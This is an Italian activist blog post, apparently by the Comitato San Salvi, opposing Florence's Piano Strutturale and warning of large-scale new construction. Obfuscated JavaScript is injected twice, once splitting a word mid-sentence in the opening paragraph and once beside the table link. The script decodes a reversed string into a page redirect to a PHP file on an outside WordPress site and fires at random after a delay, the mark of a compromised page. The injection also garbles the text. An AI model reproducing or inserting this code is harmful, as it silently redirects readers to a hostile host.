Piano strutturale, in "cauda venenum"

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E’ proprio vero, nella coda (dello scorpione) c’è il veleno! E’ quanto sta accadendo a Firenze, dove un’amministrazione comunale, ormai ampiamente screditata sia sul piano politico che amministrativo, spera di poter portare a termine il poco edificante m (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andato con l’approvazione del Piano Strutturale, ossia il nuovo piano urbanistico della città. E infatti il rientro del sindaco Domenici in Consiglio Comunale servirebbe proprio a questo, cioè a rimettere in riga una slabbrata maggioranza per garantire l’affondo finale nei confronti della città.

Ci sembra superfluo ricordare che si tratta di un piano che non risolve affatto le annose questioni del traffico, dell’ambiente, del controllo dell’edificazione, del sacrosanto diritto alla casa, e continua a prospettare un’idea di città al servizio dei potentati economici di turno e dei soliti furbetti del mattone.

E’ gravissimo constatare che alcune scelte fondamentali, che condizioneranno la vita della città, quali il trasferimento dello stadio a Castello, l’edificazione delle aree ferroviarie che si libereranno, l’aumento del carico urbanistico del quartiere di Campo di Marte, potranno essere decisi non attraverso la normale e corretta pratica urbanistica della riadozione del piano e di un suo generale ripensamento, ma, udite udite!, attraverso emendamenti inseriti nelle controdeduzioni con le quali il comune risponde alle osservazioni presentate dai cittadini la scorsa estate. Non solo, ma provando a fare un po’ di conti, abbiamo scoperto che attorno a questa operazione potrebbe addensarsi uno tsunami di cemento senza precedenti.

La città rischia di essere sommersa da 6.500.000 metri cubi di edificazione, tra nuove costruzioni e recupero e trasformazione di quelle esistenti. Come è possibile? Nel dimensionare gli interventi dei prossimi venti anni, il PS stabilisce che si potrà ottenere una nuova superficie edificabile pari a circa 1.553.781 mq., mettendo assieme sia il completamento delle costruzioni previste dall’attuale Piano Regolatore che le previsioni del nuovo Piano Strutturale, equivalenti a più di 4,5 milioni di metri cubi tra destinazione residenziale, commerciale, alberghiera e produttiva.

A questo punto riteniamo essenziale che queste operazioni debbano essere bloccate per impedire che siano distrutti gli ultimi spazi necessari per intraprendere una generale riqualificazione in chiave ecologica della città.

Non bruciamoci il futuro!

Invitiamo tutti i cittadini a mobilitarsi contro queste previsioni nella speranza che rapidamente si possa fare di Firenze un caso nazionale per impedire il colpo di coda, avvelenato, che questa amministrazione sta offrendo alla propria città. Il Comitato San Salvi chi può nei prossimi giorni organizzerà assemblee pubbliche e presidi nella propria zona per favorire la partecipazione dei cittadini alle scelte che direttamente li riguardano.

Alleghiamo una tabella per permettere la verifica analitica dei dati esposti (clicca sull’immagine per ingrandirla)

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2009/03/tabella_san_salvi_piano_strutturale.jpeg”>tabella_san_salvi_piano_strutturale

[Fonte No al Piano strutturale di Firenze]

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